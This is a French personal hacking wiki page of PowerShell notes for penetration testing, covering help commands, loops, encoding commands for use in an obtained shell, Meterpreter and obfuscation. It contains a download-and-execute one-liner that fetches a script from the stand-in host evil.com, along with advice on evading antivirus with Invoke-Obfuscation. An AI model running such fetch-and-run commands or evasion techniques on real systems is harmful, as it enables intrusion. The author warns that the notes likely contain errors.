Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

Powershell

Généralités

Commandes

Obtenir de l’aide en powershell:

Get-Help Get-Command # Obtenir de l'aide sur Get-Command
Get-Help Get-Command -examples # Affiche les examples
Get-Help Get-Command -full # Affiche toute l'aide
Get-Help Get-Command -Parameter * # Affiche les paramétres
Get-Command Out* # Renvoie toutes les commandes dont le nom contient Out*

Pour faire des boucles:

Get-Process | ForEach-Object {$_.Name} # Boucle sur chaque résultat de la commande Get-Process et renvoie le nom

Pour faire du formatting / output:

Get-Process | Format-List -Property Threads, SessionId # Affiche le résultat sous forme de liste en se limitant à certaines informations

Charger un script distant:

iex (new-object net.webclient).downloadstring('file:///C:\\Tools\\Powersploit\\Powersploit.psd1')
iex (new-object net.webclient).downloadstring('https://evil.com/powersploit.psd1')

Encoder des commandes pour éviter certains problèmes avec les quotes & cie (notamment quand on a un shell via un MS-SQL ou autre):

PS C:\Users\user> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("net user"))
bgBlAHQAIAB1AHMAZQByAA==
PS C:\Users\user> powershell -e bgBlAHQAIAB1AHMAZQByAA==

comptes dutilisateurs de \\Computer

-------------------------------------------------------------------------------
Administrateur           DefaultAccount           Invité
La commande sest terminée correctement.

Meterpreter

Il est possible d’utiliser powershell à partir d’un meterpreter:

load powershell

Voir Meterpreter New Windows PowerShell Extension

Obfuscation

Il est possible d’obfusquer du code powershell pour contourner certains antivirus qui bloquent powersploit & cie. L’outil Invoke-Obfuscation permet de faire ceci facilement. Il est cependant possible de bloquer les codes obfusqués (une analyse statistique permet de détecter les codes non légitimes).

C#

Il est possible d’utiliser du C# via Powershell. Voir Using C# in Powershell scripts

Resources